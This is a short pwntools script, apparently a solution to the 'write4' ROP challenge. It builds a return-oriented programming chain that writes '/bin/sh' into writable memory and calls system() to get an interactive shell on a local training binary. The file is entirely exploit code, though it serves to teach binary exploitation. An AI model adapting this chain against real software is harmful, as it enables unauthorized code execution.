import sys; sys.path.append("../..")
import shared_pwn
from pwn import *

BINARY_NAME = "write4"
BUFFER_LEN = 40

io = process(f"./{BINARY_NAME}")

junk = b"\x90" * BUFFER_LEN

# Pointers
g_pop = p64(0x400890)
g_mov = p64(0x400820)

sys_addr = p64(0x4005e0)
pop_rdi  = p64(0x400893)

data_addr = p64(0x601050)
command = b"/bin/sh "

payload = b""
payload += junk
payload += g_pop
payload += data_addr
payload += command
payload += g_mov
payload += pop_rdi
payload += data_addr
payload += sys_addr

io.recvuntil("> ")
io.send(payload)
io.send("\n")
io.interactive()